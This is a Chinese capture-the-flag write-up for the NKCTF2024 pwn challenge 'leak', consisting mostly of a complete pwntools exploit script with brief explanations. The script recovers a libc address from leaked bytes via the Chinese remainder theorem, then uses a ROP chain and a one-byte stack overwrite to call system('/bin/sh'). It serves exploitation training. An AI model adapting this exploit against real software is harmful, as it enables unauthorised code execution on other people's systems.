[NKCTF2024]-PWN:leak解析(中国剩余定理泄露libc地址,汇编覆盖返回地址)

查看保护

查看ida

先放exp

完整exp:

复制代码
from pwn import*
from sympy.ntheory.modular import crt
context(log_level='debug',arch='amd64')

while True:
    p=process('./leak')
    ps=[101,103,107,109,113,127]
    p.sendafter(b'secret\n',bytes(ps))
    cs=[0]*6
    for i in range(6):
        cs[i]=u32(p.recv(1).ljust(4,b'\x00'))
    print(hex(cs[i]))
    onestack=u32(p.recv(1).ljust(4,b'\x00'))
    if onestack+0x58>0xff:
        p.close()
        continue
    print("onestack"+hex(onestack))
    res=crt(ps,cs)[0]
    n=1
    for i in range(0,6):
        n*=ps[i]
    c=0
    stdout=0
    while True:
        stdout=res+c*n
        if (stdout>>44)==0x07:
            if (stdout&0xfff)==0x780:
                break
        c+=1
        assert c<100
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libcbase=stdout-libc.sym['_IO_2_1_stdout_']
    ret=libcbase+0x29139
    pop_rdi=libcbase+0x2a3e5
    system=libcbase+libc.sym['system']
    binsh=libcbase+next(libc.search(b'/bin/sh'))
    payload=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p8((onestack+0x58)&0xff)
    p.send(payload)
    #p.send(b'aa')

    p.interactive()
    break

#解释点1:这里是接收程序输出的六次结果来解中国剩余定理来算出stdout的地址,算出libc基地址。

#解释点2:这里最后覆盖一个字节的栈地址是为了把payload全覆盖到返回地址上去。这个是从汇编指令上看的

这里把地址移动到rcx之后就以rcx内的值来确定移动位置,因为rbp+buf的位置存的是栈上地址,如果我们把最后一个字节覆盖掉就可以控制rcx的值,从而控制payload移动的位置,执行getshell。

相关推荐
txg6662 小时前
HgtJIT:基于异构图 Transformer 的即时漏洞检测框架
人工智能·深度学习·安全·transformer
zyl837215 小时前
前端开发网络安全注意事项
安全·web安全
OpenAnolis小助手5 小时前
Anolis OS Linux Dirty Frag 漏洞安全声明
linux·安全·web安全·龙蜥社区
tingting01196 小时前
敏感目录扫描及响应码
安全
智慧医养结合软件开源7 小时前
规范新增·精准赋能,凝聚志愿力量守护老人安康
大数据·安全·百度·微信·云计算
ComputerInBook8 小时前
X64 汇编 MOVSD 的两种用法
汇编·汇编指令·movsd
KKKlucifer9 小时前
数字安全浪潮下国产数据安全企业发展图鉴
大数据·安全
淼淼爱喝水9 小时前
Pikachu 靶场 RCE 模块乱码问题解决方法
网络·安全·pikachu
紫墨丹青9 小时前
贝锐向日葵IP和域名
网络·tcp/ip·网络安全·远程工作
hahaha 1hhh9 小时前
用SSH 建立了一个本地端口转发隧道,用于安全地访问远程服务器上的服务,后台运行。autodl
服务器·安全·ssh